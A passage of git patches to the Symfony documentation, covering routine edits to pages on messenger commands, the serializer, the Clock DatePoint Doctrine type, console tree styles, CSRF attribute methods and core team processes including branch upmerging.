From da62e32f9693a21f4b3130110abf6c8e2c6beab1 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Mon, 24 Mar 2025 13:56:01 +0100
Subject: [PATCH 6835/7107] minor

---
 messenger.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/messenger.rst b/messenger.rst
index 8632ebdb4e0..cbd79784555 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -1313,7 +1313,7 @@ to retry them:
     $ php bin/console messenger:failed:remove --all
 
     # remove only MyClass messages
-    $ php bin/console messenger:failed:remove --class-filter='MyClass'
+    $ php bin/console messenger:failed:remove --class-filter='App\Message\MyMessage'
 
 If the message fails again, it will be re-sent back to the failure transport
 due to the normal :ref:`retry rules <messenger-retries-failures>`. Once the max

From a93e2656a9583fa44aa93befe0db7660c689eab1 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Mon, 24 Mar 2025 13:56:46 +0100
Subject: [PATCH 6836/7107] minor

---
 messenger.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/messenger.rst b/messenger.rst
index d25800ef00d..e86bc73d1c6 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -1161,8 +1161,8 @@ to retry them:
     # see the 10 first messages
     $ php bin/console messenger:failed:show --max=10
 
-    # see only MyClass messages
-    $ php bin/console messenger:failed:show --class-filter='MyClass'
+    # see only App\Message\MyMessage messages
+    $ php bin/console messenger:failed:show --class-filter='App\Message\MyMessage'
 
     # see the number of messages by message class
     $ php bin/console messenger:failed:show --stats

From 137134ad97da5b2fecc4a61027c1701c50d9faff Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Mon, 24 Mar 2025 13:57:13 +0100
Subject: [PATCH 6837/7107] minor

---
 messenger.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/messenger.rst b/messenger.rst
index 59f2aa0cc19..0f1eba49a9f 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -1312,7 +1312,7 @@ to retry them:
     # remove all messages in the failure transport
     $ php bin/console messenger:failed:remove --all
 
-    # remove only MyClass messages
+    # remove only App\Message\MyMessage messages
     $ php bin/console messenger:failed:remove --class-filter='App\Message\MyMessage'
 
 If the message fails again, it will be re-sent back to the failure transport

From bc3412b33493e9a2d03a189f073a863f6030e909 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 24 Mar 2025 15:23:03 +0100
Subject: [PATCH 6838/7107] Fix syntax issue

---
 serializer.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/serializer.rst b/serializer.rst
index 18f1b06b92c..7b42ea9485c 100644
--- a/serializer.rst
+++ b/serializer.rst
@@ -1388,7 +1388,7 @@ normalizers (in order of priority):
     want ``null`` instead, you can set the ``BackedEnumNormalizer::ALLOW_INVALID_VALUES`` option.
 
 :class:`Symfony\\Component\\Serializer\\Normalizer\\NumberNormalizer`
-    This normalizer converts between :phpclass:`BcMath\Number` or :phpclass:`GMP` objects and
+    This normalizer converts between :phpclass:`BcMath\\Number` or :phpclass:`GMP` objects and
     strings or integers.
 
 .. versionadded:: 7.2

From c018ddc9c619c68c09551e21d5d4fa86d028a71f Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 24 Mar 2025 16:01:48 +0100
Subject: [PATCH 6839/7107] Minor tweak

---
 controller.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/controller.rst b/controller.rst
index 693784885da..05abdaee4ea 100644
--- a/controller.rst
+++ b/controller.rst
@@ -375,7 +375,7 @@ The ``MapQueryParameter`` attribute supports the following argument types:
 
 .. versionadded:: 7.3
 
-    The support of ``AbstractUid`` was introduced in Symfony 7.3.
+    Support for ``AbstractUid`` objects was introduced in Symfony 7.3.
 
 ``#[MapQueryParameter]`` can take an optional argument called ``filter``. You can use the
 `Validate Filters`_ constants defined in PHP::

From 5f722a34043d63e3f778ce4d9a485784d6879e45 Mon Sep 17 00:00:00 2001
From: Fabien Potencier <fabien@potencier.org>
Date: Mon, 24 Mar 2025 16:07:22 +0100
Subject: [PATCH 6840/7107] Add Tugdual Saunier as a core team member

---
 contributing/core_team.rst | 2 ++
 1 file changed, 2 insertions(+)

diff --git a/contributing/core_team.rst b/contributing/core_team.rst
index d461aa44485..2edb42a842d 100644
--- a/contributing/core_team.rst
+++ b/contributing/core_team.rst
@@ -86,6 +86,7 @@ Active Core Members
   * **Berislav Balogović** (`hypemc`_);
   * **Mathias Arlaud** (`mtarld`_);
   * **Florent Morselli** (`spomky`_);
+  * **Tugdual Saunier** (`tucksaun`_);
   * **Alexandre Daubois** (`alexandre-daubois`_).
 
 * **Security Team** (``@symfony/security`` on GitHub):
@@ -263,3 +264,4 @@ discretion of the **Project Leader**.
 .. _`mtarld`: https://github.com/mtarld/
 .. _`spomky`: https://github.com/spomky/
 .. _`alexandre-daubois`: https://github.com/alexandre-daubois/
+.. _`tucksaun`: https://github.com/tucksaun/
\ No newline at end of file

From ce6c3a9992c30ddef1cd27a7c1a31b81625dc939 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 24 Mar 2025 17:09:08 +0100
Subject: [PATCH 6841/7107] Reword

---
 frontend/asset_mapper.rst | 8 ++++++--
 1 file changed, 6 insertions(+), 2 deletions(-)

diff --git a/frontend/asset_mapper.rst b/frontend/asset_mapper.rst
index 2354485a2bf..8b27cd8ba16 100644
--- a/frontend/asset_mapper.rst
+++ b/frontend/asset_mapper.rst
@@ -217,8 +217,12 @@ to add any `npm package`_:
 
 .. tip::
 
-    The command takes the well-know ``--dry-run`` option to simulate the installation of the packages, useful
-    to show what will be installed without altering anything.
+    Add the ``--dry-run`` option to simulate package installation without actually
+    making any changes (e.g. ``php bin/console importmap:require bootstrap --dry-run``)
+
+    .. versionadded:: 7.3
+
+        The ``--dry-run`` option was introduced in Symfony 7.3.
 
 This adds the ``bootstrap`` package to your ``importmap.php`` file::
 

From 0dd6f3462e07172e8d8f7825ef0d175b62b74d85 Mon Sep 17 00:00:00 2001
From: Massimiliano Arione <garakkio@gmail.com>
Date: Mon, 24 Mar 2025 17:52:45 +0100
Subject: [PATCH 6842/7107] document DatePointType

---
 components/clock.rst | 25 +++++++++++++++++++++++++
 1 file changed, 25 insertions(+)

diff --git a/components/clock.rst b/components/clock.rst
index 5b20e6000b9..e1a631a9548 100644
--- a/components/clock.rst
+++ b/components/clock.rst
@@ -269,6 +269,31 @@ timestamps::
 
 .. _clock_writing-tests:
 
+Storing DatePoints in Databases
+-------------------------------
+
+If you :doc:`use Doctrine </doctrine>`, consider using the ``date_point`` Doctrine
+type, which converts to/from ``DatePoint`` objects automatically::
+
+    // src/Entity/Product.php
+    namespace App\Entity;
+
+    use Doctrine\ORM\Mapping as ORM;
+    use Symfony\Component\Clock\DatePoint;
+
+    #[ORM\Entity]
+    class Product
+    {
+        #[ORM\Column]
+        private DatePoint $created;
+
+        // ...
+    }
+
+.. versionadded:: 7.3
+
+    The `DatePointType` was introduced in Symfony 7.3.
+
 Writing Time-Sensitive Tests
 ----------------------------
 

From 823c8432df0cd3ddd685e023ea863ab4051b71f9 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 25 Mar 2025 09:58:07 +0100
Subject: [PATCH 6843/7107] Minor tweaks

---
 components/clock.rst | 21 +++++++++++++--------
 1 file changed, 13 insertions(+), 8 deletions(-)

diff --git a/components/clock.rst b/components/clock.rst
index e1a631a9548..c4ac88e9092 100644
--- a/components/clock.rst
+++ b/components/clock.rst
@@ -267,13 +267,11 @@ timestamps::
     :method:`Symfony\\Component\\Clock\\DatePoint::getMicrosecond` methods were
     introduced in Symfony 7.1.
 
-.. _clock_writing-tests:
-
-Storing DatePoints in Databases
--------------------------------
+Storing DatePoints in the Database
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-If you :doc:`use Doctrine </doctrine>`, consider using the ``date_point`` Doctrine
-type, which converts to/from ``DatePoint`` objects automatically::
+If you :doc:`use Doctrine </doctrine>` to work with databases, consider using the
+``date_point`` Doctrine type, which converts to/from ``DatePoint`` objects automatically::
 
     // src/Entity/Product.php
     namespace App\Entity;
@@ -284,15 +282,22 @@ type, which converts to/from ``DatePoint`` objects automatically::
     #[ORM\Entity]
     class Product
     {
+        // if you don't define the Doctrine type explicitly, Symfony will autodetect it:
         #[ORM\Column]
-        private DatePoint $created;
+        private DatePoint $createdAt;
+
+        // if you prefer to define the Doctrine type explicitly:
+        #[ORM\Column(type: 'date_point')]
+        private DatePoint $updatedAt;
 
         // ...
     }
 
 .. versionadded:: 7.3
 
-    The `DatePointType` was introduced in Symfony 7.3.
+    The ``DatePointType`` was introduced in Symfony 7.3.
+
+.. _clock_writing-tests:
 
 Writing Time-Sensitive Tests
 ----------------------------

From 5844ee66a68c19bbcff3f7300756ed1df31c4c3a Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 25 Mar 2025 16:39:30 +0100
Subject: [PATCH 6844/7107] [Console] Tweak the tree helper

---
 components/console/helpers/tree.rst | 250 ++++++++++++++--------------
 1 file changed, 129 insertions(+), 121 deletions(-)

diff --git a/components/console/helpers/tree.rst b/components/console/helpers/tree.rst
index ae0c24ff01f..1161d00e942 100644
--- a/components/console/helpers/tree.rst
+++ b/components/console/helpers/tree.rst
@@ -67,7 +67,7 @@ This exampe would output the following:
     ├── templates/
     └── tests/
 
-The given contents can be defined in a multi-dimensional array:
+The given contents can be defined in a multi-dimensional array::
 
     $tree = TreeHelper::createTree($io, null, [
         'src' =>  [
@@ -125,126 +125,132 @@ Built-in Tree Styles
 ~~~~~~~~~~~~~~~~~~~~
 
 The tree helper provides a few built-in styles that you can use to customize the
-output of the tree.
-
-:method:`Symfony\\Component\\Console\\Helper\\TreeStyle::default`
-
-    .. code-block:: terminal
-
-        ├── config
-        │   ├── packages
-        │   └── routes
-        │      ├── framework.yaml
-        │      └── web_profiler.yaml
-        ├── src
-        │   ├── Command
-        │   ├── Controller
-        │   │   └── DefaultController.php
-        │   └── Kernel.php
-        └── templates
-           └── base.html.twig
-
-:method:`Symfony\\Component\\Console\\Helper\\TreeStyle::box`
-
-    .. code-block:: terminal
-
-        ┃╸ config
-        ┃  ┃╸ packages
-        ┃  ┗╸ routes
-        ┃     ┃╸ framework.yaml
-        ┃     ┗╸ web_profiler.yaml
-        ┃╸ src
-        ┃  ┃╸ Command
-        ┃  ┃╸ Controller
-        ┃  ┃  ┗╸ DefaultController.php
-        ┃  ┗╸ Kernel.php
-        ┗╸ templates
-           ┗╸ base.html.twig
-
-:method:`Symfony\\Component\\Console\\Helper\\TreeStyle::doubleBox`
-
-    .. code-block:: terminal
-
-        ╠═ config
-        ║  ╠═ packages
-        ║  ╚═ routes
-        ║    ╠═ framework.yaml
-        ║    ╚═ web_profiler.yaml
-        ╠═ src
-        ║  ╠═ Command
-        ║  ╠═ Controller
-        ║  ║  ╚═ DefaultController.php
-        ║  ╚═ Kernel.php
-        ╚═ templates
-          ╚═ base.html.twig
-
-:method:`Symfony\\Component\\Console\\Helper\\TreeStyle::compact`
-
-    .. code-block:: terminal
-
-        ├ config
-        │ ├ packages
-        │ └ routes
-        │   ├ framework.yaml
-        │   └ web_profiler.yaml
-        ├ src
-        │ ├ Command
-        │ ├ Controller
-        │ │ └ DefaultController.php
-        │ └ Kernel.php
-        └ templates
-          └ base.html.twig
-
-:method:`Symfony\\Component\\Console\\Helper\\TreeStyle::light`
-
-    .. code-block:: terminal
-
-        |-- config
-        |   |-- packages
-        |   `-- routes
-        |       |-- framework.yaml
-        |       `-- web_profiler.yaml
-        |-- src
-        |   |-- Command
-        |   |-- Controller
-        |   |   `-- DefaultController.php
-        |   `-- Kernel.php
-        `-- templates
-            `-- base.html.twig
-
-:method:`Symfony\\Component\\Console\\Helper\\TreeStyle::minimal`
-
-    .. code-block:: terminal
-
-        . config
-        . . packages
-        . . routes
-        .   . framework.yaml
-        .   . web_profiler.yaml
-        . src
-        . . Command
-        . . Controller
-        . . . DefaultController.php
-        . . Kernel.php
-        . templates
-          . base.html.twig
-
-:method:`Symfony\\Component\\Console\\Helper\\TreeStyle::rounded`
-
-    .. code-block:: terminal
-
-        ├─ config
-        │  ├─ packages
-        │  ╰─ routes
-        │     ├─ framework.yaml
-        │     ╰─ web_profiler.yaml
-        ├─ src
-        │  ├─ Command
-        │  ├─ Controller
-        │  │  ╰─ DefaultController.php
-        │  ╰─ Kernel.php
-        ╰─ templates
-           ╰─ base.html.twig
+output of the tree::
+
+    use Symfony\Component\Console\Helper\TreeStyle;
+    // ...
+
+    $tree = TreeHelper::createTree($io, $node, [], TreeStyle::compact());
+    $tree->render();
+
+``TreeHelper::createTree($io, $node, [], TreeStyle::default())`` (`details`_)
+
+.. code-block:: terminal
+
+    ├── config
+    │   ├── packages
+    │   └── routes
+    │      ├── framework.yaml
+    │      └── web_profiler.yaml
+    ├── src
+    │   ├── Command
+    │   ├── Controller
+    │   │   └── DefaultController.php
+    │   └── Kernel.php
+    └── templates
+       └── base.html.twig
+
+``TreeHelper::createTree($io, $node, [], TreeStyle::box())`` (`details`_)
+
+.. code-block:: terminal
+
+    ┃╸ config
+    ┃  ┃╸ packages
+    ┃  ┗╸ routes
+    ┃     ┃╸ framework.yaml
+    ┃     ┗╸ web_profiler.yaml
+    ┃╸ src
+    ┃  ┃╸ Command
+    ┃  ┃╸ Controller
+    ┃  ┃  ┗╸ DefaultController.php
+    ┃  ┗╸ Kernel.php
+    ┗╸ templates
+       ┗╸ base.html.twig
+
+``TreeHelper::createTree($io, $node, [], TreeStyle::doubleBox())`` (`details`_)
+
+.. code-block:: terminal
+
+    ╠═ config
+    ║  ╠═ packages
+    ║  ╚═ routes
+    ║    ╠═ framework.yaml
+    ║    ╚═ web_profiler.yaml
+    ╠═ src
+    ║  ╠═ Command
+    ║  ╠═ Controller
+    ║  ║  ╚═ DefaultController.php
+    ║  ╚═ Kernel.php
+    ╚═ templates
+      ╚═ base.html.twig
+
+``TreeHelper::createTree($io, $node, [], TreeStyle::compact())`` (`details`_)
+
+.. code-block:: terminal
+
+    ├ config
+    │ ├ packages
+    │ └ routes
+    │   ├ framework.yaml
+    │   └ web_profiler.yaml
+    ├ src
+    │ ├ Command
+    │ ├ Controller
+    │ │ └ DefaultController.php
+    │ └ Kernel.php
+    └ templates
+      └ base.html.twig
+
+``TreeHelper::createTree($io, $node, [], TreeStyle::light())`` (`details`_)
+
+.. code-block:: terminal
+
+    |-- config
+    |   |-- packages
+    |   `-- routes
+    |       |-- framework.yaml
+    |       `-- web_profiler.yaml
+    |-- src
+    |   |-- Command
+    |   |-- Controller
+    |   |   `-- DefaultController.php
+    |   `-- Kernel.php
+    `-- templates
+        `-- base.html.twig
+
+``TreeHelper::createTree($io, $node, [], TreeStyle::minimal())`` (`details`_)
+
+.. code-block:: terminal
+
+    . config
+    . . packages
+    . . routes
+    .   . framework.yaml
+    .   . web_profiler.yaml
+    . src
+    . . Command
+    . . Controller
+    . . . DefaultController.php
+    . . Kernel.php
+    . templates
+      . base.html.twig
+
+``TreeHelper::createTree($io, $node, [], TreeStyle::rounded())`` (`details`_)
+
+.. code-block:: terminal
+
+    ├─ config
+    │  ├─ packages
+    │  ╰─ routes
+    │     ├─ framework.yaml
+    │     ╰─ web_profiler.yaml
+    ├─ src
+    │  ├─ Command
+    │  ├─ Controller
+    │  │  ╰─ DefaultController.php
+    │  ╰─ Kernel.php
+    ╰─ templates
+       ╰─ base.html.twig
 
 Making a Custom Tree Style
 ~~~~~~~~~~~~~~~~~~~~~~~~~~
@@ -285,3 +291,5 @@ The above code will output the following tree:
     🔵 🟢 🟠 🟡 Kernel.php
     🔵 🟠 🟡 templates
     🔵 🔴 🟠 🟡 base.html.twig
+
+.. _`details`: https://github.com/symfony/symfony/blob/7.3/src/Symfony/Component/Console/Helper/TreeStyle.php

From 4191969aff9f5737264eb238e9403199af9f3278 Mon Sep 17 00:00:00 2001
From: Pierre Ambroise <pierre27.ambroise@gmail.com>
Date: Mon, 24 Mar 2025 21:17:09 +0100
Subject: [PATCH 6845/7107] Document log_channel

---
 reference/configuration/framework.rst | 9 ++++++++-
 1 file changed, 8 insertions(+), 1 deletion(-)

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index 528543a5178..7986140e050 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -1025,7 +1025,7 @@ exceptions
 
 **type**: ``array``
 
-Defines the :ref:`log level </logging>` and HTTP status code applied to the
+Defines the :ref:`log level </logging>`, :ref:`log channel </logging/channels_handlers>` and HTTP status code applied to the
 exceptions that match the given exception class:
 
 .. configuration-block::
@@ -1038,6 +1038,7 @@ exceptions that match the given exception class:
                 Symfony\Component\HttpKernel\Exception\BadRequestHttpException:
                     log_level: 'debug'
                     status_code: 422
+                    log_channel: 'custom_channel'
 
     .. code-block:: xml
 
@@ -1055,6 +1056,7 @@ exceptions that match the given exception class:
                     class="Symfony\Component\HttpKernel\Exception\BadRequestHttpException"
                     log-level="debug"
                     status-code="422"
+                    log-channel="custom_channel"
                 />
                 <!-- ... -->
             </framework:config>
@@ -1070,9 +1072,14 @@ exceptions that match the given exception class:
             $framework->exception(BadRequestHttpException::class)
                 ->logLevel('debug')
                 ->statusCode(422)
+                ->logChannel('custom_channel')
             ;
         };
 
+.. versionadded:: 7.3
+
+    The ``log_channel`` option was introduced in Symfony 7.3.
+
 The order in which you configure exceptions is important because Symfony will
 use the configuration of the first exception that matches ``instanceof``:
 

From dae33e402c969606c0c6daa58d99b0caadaf749a Mon Sep 17 00:00:00 2001
From: Silas Joisten <silasjoisten@proton.me>
Date: Wed, 26 Mar 2025 11:10:39 +0200
Subject: [PATCH 6846/7107] Adds missing use statement

---
 routing.rst | 1 +
 1 file changed, 1 insertion(+)

diff --git a/routing.rst b/routing.rst
index a41b9bba6a6..7d489912345 100644
--- a/routing.rst
+++ b/routing.rst
@@ -969,6 +969,7 @@ optional ``priority`` parameter in those routes to control their priority:
         namespace App\Controller;
 
         use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
+        use Symfony\Component\HttpFoundation\Response;
         use Symfony\Component\Routing\Attribute\Route;
 
         class BlogController extends AbstractController

From 6d7c87f8eaea42c26004206fd1dc465df44e29cd Mon Sep 17 00:00:00 2001
From: Oviglo <ovigne.loic@gmail.com>
Date: Mon, 24 Mar 2025 10:51:29 +0100
Subject: [PATCH 6847/7107] [Security] Add methods param doc for
 isCsrfTokenValid attribute

---
 security/csrf.rst | 9 +++++++++
 1 file changed, 9 insertions(+)

diff --git a/security/csrf.rst b/security/csrf.rst
index be8348597c7..fa15cee3db3 100644
--- a/security/csrf.rst
+++ b/security/csrf.rst
@@ -288,6 +288,15 @@ object evaluated to the id::
         // ... do something, like deleting an object
     }
 
+You can use the ``methods`` parameter to the attribute to specify the HTTP methods that are allowed for
+the token validation, :class:`Symfony\\Component\\Security\\Http\\Attribute\\IsCsrfTokenValid` is ignored for other methods. By default, the attribute allows all methods::
+
+    #[IsCsrfTokenValid('delete-item', tokenKey: 'token', methods: ['DELETE'])]
+    public function delete(Post $post): Response
+    {
+        // ... delete the object
+    }
+
 .. versionadded:: 7.1
 
     The :class:`Symfony\\Component\\Security\\Http\\Attribute\\IsCsrfTokenValid`

From 84634a2c44d66ea4931e3ab991252a8e03a3000d Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 26 Mar 2025 10:31:19 +0100
Subject: [PATCH 6848/7107] Reword

---
 security/csrf.rst | 10 ++++++++--
 1 file changed, 8 insertions(+), 2 deletions(-)

diff --git a/security/csrf.rst b/security/csrf.rst
index fa15cee3db3..cc9b15253bc 100644
--- a/security/csrf.rst
+++ b/security/csrf.rst
@@ -288,8 +288,10 @@ object evaluated to the id::
         // ... do something, like deleting an object
     }
 
-You can use the ``methods`` parameter to the attribute to specify the HTTP methods that are allowed for
-the token validation, :class:`Symfony\\Component\\Security\\Http\\Attribute\\IsCsrfTokenValid` is ignored for other methods. By default, the attribute allows all methods::
+By default, the ``IsCsrfTokenValid`` attribute performs the CSRF token check for
+all HTTP methods. You can restrict this validation to specific methods using the
+``methods`` parameter. If the request uses a method not listed in the ``methods``
+array, the attribute is ignored for that request, and no CSRF validation occurs::
 
     #[IsCsrfTokenValid('delete-item', tokenKey: 'token', methods: ['DELETE'])]
     public function delete(Post $post): Response
@@ -302,6 +304,10 @@ the token validation, :class:`Symfony\\Component\\Security\\Http\\Attribute\\IsC
     The :class:`Symfony\\Component\\Security\\Http\\Attribute\\IsCsrfTokenValid`
     attribute was introduced in Symfony 7.1.
 
+.. versionadded:: 7.3
+
+    The ``methods`` parameter was introduced in Symfony 7.3.
+
 CSRF Tokens and Compression Side-Channel Attacks
 ------------------------------------------------
 

From 2153ebbc5dc3918794514e16004ae497a4b84cf6 Mon Sep 17 00:00:00 2001
From: Silas Joisten <silasjoisten@proton.me>
Date: Wed, 26 Mar 2025 11:03:49 +0200
Subject: [PATCH 6849/7107] Add type hint

---
 routing.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/routing.rst b/routing.rst
index 7d489912345..79a513ba8dd 100644
--- a/routing.rst
+++ b/routing.rst
@@ -595,7 +595,7 @@ the ``{page}`` parameter using the ``requirements`` option:
             }
 
             #[Route('/blog/{slug}', name: 'blog_show')]
-            public function show($slug): Response
+            public function show(string $slug): Response
             {
                 // ...
             }

From 2f28d22096fab76a30caed3acd096b5b61bfaf1b Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 26 Mar 2025 11:05:49 +0100
Subject: [PATCH 6850/7107] Minor fix

---
 serializer/custom_normalizer.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/serializer/custom_normalizer.rst b/serializer/custom_normalizer.rst
index 8072b590ced..4221b3ad808 100644
--- a/serializer/custom_normalizer.rst
+++ b/serializer/custom_normalizer.rst
@@ -39,7 +39,7 @@ to customize the normalized data. To do that, leverage the ``ObjectNormalizer``:
 
             // Here, add, edit, or delete some data:
             $data['href']['self'] = $this->router->generate('topic_show', [
-                'id' => $topic->getId(),
+                'id' => $object->getId(),
             ], UrlGeneratorInterface::ABSOLUTE_URL);
 
             return $data;

From d6b4ff9e7bfd146eb037894705d6a9ff95b7d611 Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Tue, 4 Mar 2025 22:06:02 +0100
Subject: [PATCH 6851/7107] Add more information about core team processes

---
 contributing/core_team.rst | 140 ++++++++++++++++++++++++++++++++-----
 1 file changed, 124 insertions(+), 16 deletions(-)

diff --git a/contributing/core_team.rst b/contributing/core_team.rst
index 2edb42a842d..88c9edf45ab 100644
--- a/contributing/core_team.rst
+++ b/contributing/core_team.rst
@@ -27,10 +27,24 @@ Core Team Member Responsibilities
 
 Core Team members are unpaid volunteers and as such, they are not expected to
 dedicate any specific amount of time on Symfony. They are expected to help the
-project in any way they can, from reviewing pull requests, writing documentation
-to participating in discussions and helping the community in general, but their
-involvement is completely voluntary and can be as much or as little as they
-want.
+project in any way they can. From reviewing pull requests and writing documentation,
+to participating in discussions and helping the community in general. However,
+their involvement is completely voluntary and can be as much or as little as
+they want.
+
+Core Team Communication
+~~~~~~~~~~~~~~~~~~~~~~~
+
+As an open source project, public discussions and documentation is favored
+over private ones. All communication in the Symfony community conforms to
+the :doc:`/contributing/code_of_conduct/code_of_conduct`. Request
+assistance from other Core and CARE team members when getting in situations
+not following the Code of Conduct.
+
+Core Team members are invited in a private Slack channel, for quick
+interactions and private processes (e.g. security issues). Each member
+should feel free to ask for assistance for anything they may encounter.
+Expect no judgement from other team members.
 
 Core Organization
 -----------------
@@ -146,6 +160,14 @@ A Symfony Core membership can be revoked for any of the following reasons:
 * Willful negligence or intent to harm the Symfony project;
 * Upon decision of the **Project Leader**.
 
+Core Membership Compensation
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+Core Team members work on Symfony on a purely voluntary basis. In return
+for their work for the Symfony project, members can get free access to
+Symfony conferences. Personal vouchers for Symfony conferences are handed out
+on request by the **Project Leader**.
+
 Code Development Rules
 ----------------------
 
@@ -170,7 +192,7 @@ Pull Request Merging Policy
 
 A pull request **can be merged** if:
 
-* It is a :ref:`minor change <core-team_minor-changes>`;
+* It is a :ref:`unsubstantial change <core-team_unsubstantial-changes>`;
 * Enough time was given for peer reviews;
 * It is a bug fix and at least two **Mergers Team** members voted ``+1``
   (only one if the submitter is part of the Mergers team) and no Core
@@ -179,12 +201,20 @@ A pull request **can be merged** if:
   ``+1`` (if the submitter is part of the Mergers team, two *other* members)
   and no Core member voted ``-1`` (via GitHub reviews or as comments).
 
+.. _core-team_unsubstantial-changes:
+
+.. note::
+
+    Unsubstantial changes comprise typos, DocBlock fixes, code standards
+    fixes, comment, exception message tweaks, and minor CSS, JavaScript and
+    HTML modifications.
+
 Pull Request Merging Process
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-All code must be committed to the repository through pull requests, except for
-:ref:`minor change <core-team_minor-changes>` which can be committed directly
-to the repository.
+All code must be committed to the repository through pull requests, except
+for :ref:`unsubstantial change <core-team_unsubstantial-changes>` which can be
+committed directly to the repository.
 
 **Mergers** must always use the command-line ``gh`` tool provided by the
 **Project Leader** to merge pull requests.
@@ -206,6 +236,90 @@ following these rules:
 Getting the right category is important as it is used by automated tools to
 generate the CHANGELOG files when releasing new versions.
 
+.. tip::
+
+    Core team members are part of the ``mergers`` group on the ``symfony``
+    Github organization. This gives them write-access to many repositories,
+    including the main ``symfony/symfony`` mono-repository.
+
+    To avoid unintentional pushes to the main project (which in turn creates
+    new versions on Packagist), Core team members are encouraged to have
+    two clones of the project locally:
+
+    #. A clone for their own contributions, which they use to push to their
+       fork on GitHub. Clear out the push URL for the Symfony repository using
+       ``git remote set-url --push origin dev://null`` (change ``origin``
+       to the Git remote poiting to the Symfony repository);
+    #. A clone for merging, which they use in combination with ``gh`` and
+       allows them to push to the main repository.
+
+Upmerging Version Branches
+~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+To synchronize changes in all versions, version branches are regularly
+merged from oldest to latest, called "upmerging". This is a manual process.
+There is no strict policy on when this occurs, but usually not more than
+once a day and at least once before monthly releases.
+
+Before starting the upmerge, Git must be configured to provide a merge
+summary by running:
+
+.. code-block:: terminal
+
+    # Run command in the "symfony" repository
+    $ git config merge.stat true
+
+The upmerge should always be done on all maintained versions at the same
+time. Refer to `the releases page`_ to find all actively maintained
+versions (indicated by a green color).
+
+The process follows these steps:
+
+#. Start on the oldest version and make sure it's up to date with the
+   upstream repository;
+#. Check-out the second oldest version, update from upstream and merge the
+   previous version from the local branch;
+#. Continue this process until you reached the latest version;
+#. Push the branches to the repository and monitor the test suite. Failure
+   might indicate hidden/missed merge conflicts.
+
+.. code-block:: terminal
+
+    # 'origin' is refered to as the main upstream project
+    $ git fetch origin
+
+    # update the local branches
+    $ git checkout 6.4
+    $ git reset --hard origin/6.4
+    $ git checkout 7.2
+    $ git reset --hard origin/7.2
+    $ git checkout 7.3
+    $ git reset --hard origin/7.3
+
+    # upmerge 6.4 into 7.2
+    $ git checkout 7.2
+    $ git merge --no-ff 6.4
+    # ... resolve conflicts
+    $ git commit
+
+    # upmerge 7.2 into 7.3
+    $ git checkout 7.3
+    $ git merge --no-ff 7.2
+    # ... resolve conflicts
+    $ git commit
+
+    $ git push origin 7.3 7.2 6.4
+
+.. warning::
+
+    Upmerges must be explicit, i.e. no fast-forward merges.
+
+.. tip::
+
+    Solving merge conflicts can be challenging. You can always ping other
+    Core team members to help you in the process (e.g. members that merged
+    a specific conflicting change).
+
 Release Policy
 ~~~~~~~~~~~~~~
 
@@ -217,13 +331,6 @@ Symfony Core Rules and Protocol Amendments
 The rules described in this document may be amended at any time at the
 discretion of the **Project Leader**.
 
-.. _core-team_minor-changes:
-
-.. note::
-
-    Minor changes comprise typos, DocBlock fixes, code standards
-    violations, and minor CSS, JavaScript and HTML modifications.
-
 .. _`symfony-docs repository`: https://github.com/symfony/symfony-docs
 .. _`UX repositories`: https://github.com/symfony/ux
 .. _`fabpot`: https://github.com/fabpot/
@@ -264,4 +371,5 @@ discretion of the **Project Leader**.
 .. _`mtarld`: https://github.com/mtarld/
 .. _`spomky`: https://github.com/spomky/
 .. _`alexandre-daubois`: https://github.com/alexandre-daubois/
-.. _`tucksaun`: https://github.com/tucksaun/
\ No newline at end of file
+.. _`tucksaun`: https://github.com/tucksaun/
+.. _`the releases page`: https://symfony.com/releases

From 89e37c14121ed155d84a295554343f1ff1674057 Mon Sep 17 00:00:00 2001
From: MrYamous <matt.lempereur@gmail.com>
Date: Fri, 28 Mar 2025 08:28:17 +0100
Subject: [PATCH 6852/7107] messenger: allow to close connection

---
 messenger.rst | 14 ++++++++++++++
 1 file changed, 14 insertions(+)

diff --git a/messenger.rst b/messenger.rst
index 0f1eba49a9f..06ad586407d 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -2254,6 +2254,20 @@ on a case-by-case basis via the :class:`Symfony\\Component\\Messenger\\Stamp\\Se
     provides that control. See `SymfonyCasts' message serializer tutorial`_ for
     details.
 
+Closing connection
+~~~~~~~~~~~~~~~~~~
+
+When using a transport that requires a connection, you can close it using
+the :method:`Symfony\\Component\\Messenger\\Transport\\CloseableTransportInterface::close`
+method to allow free resources for long-running processes.
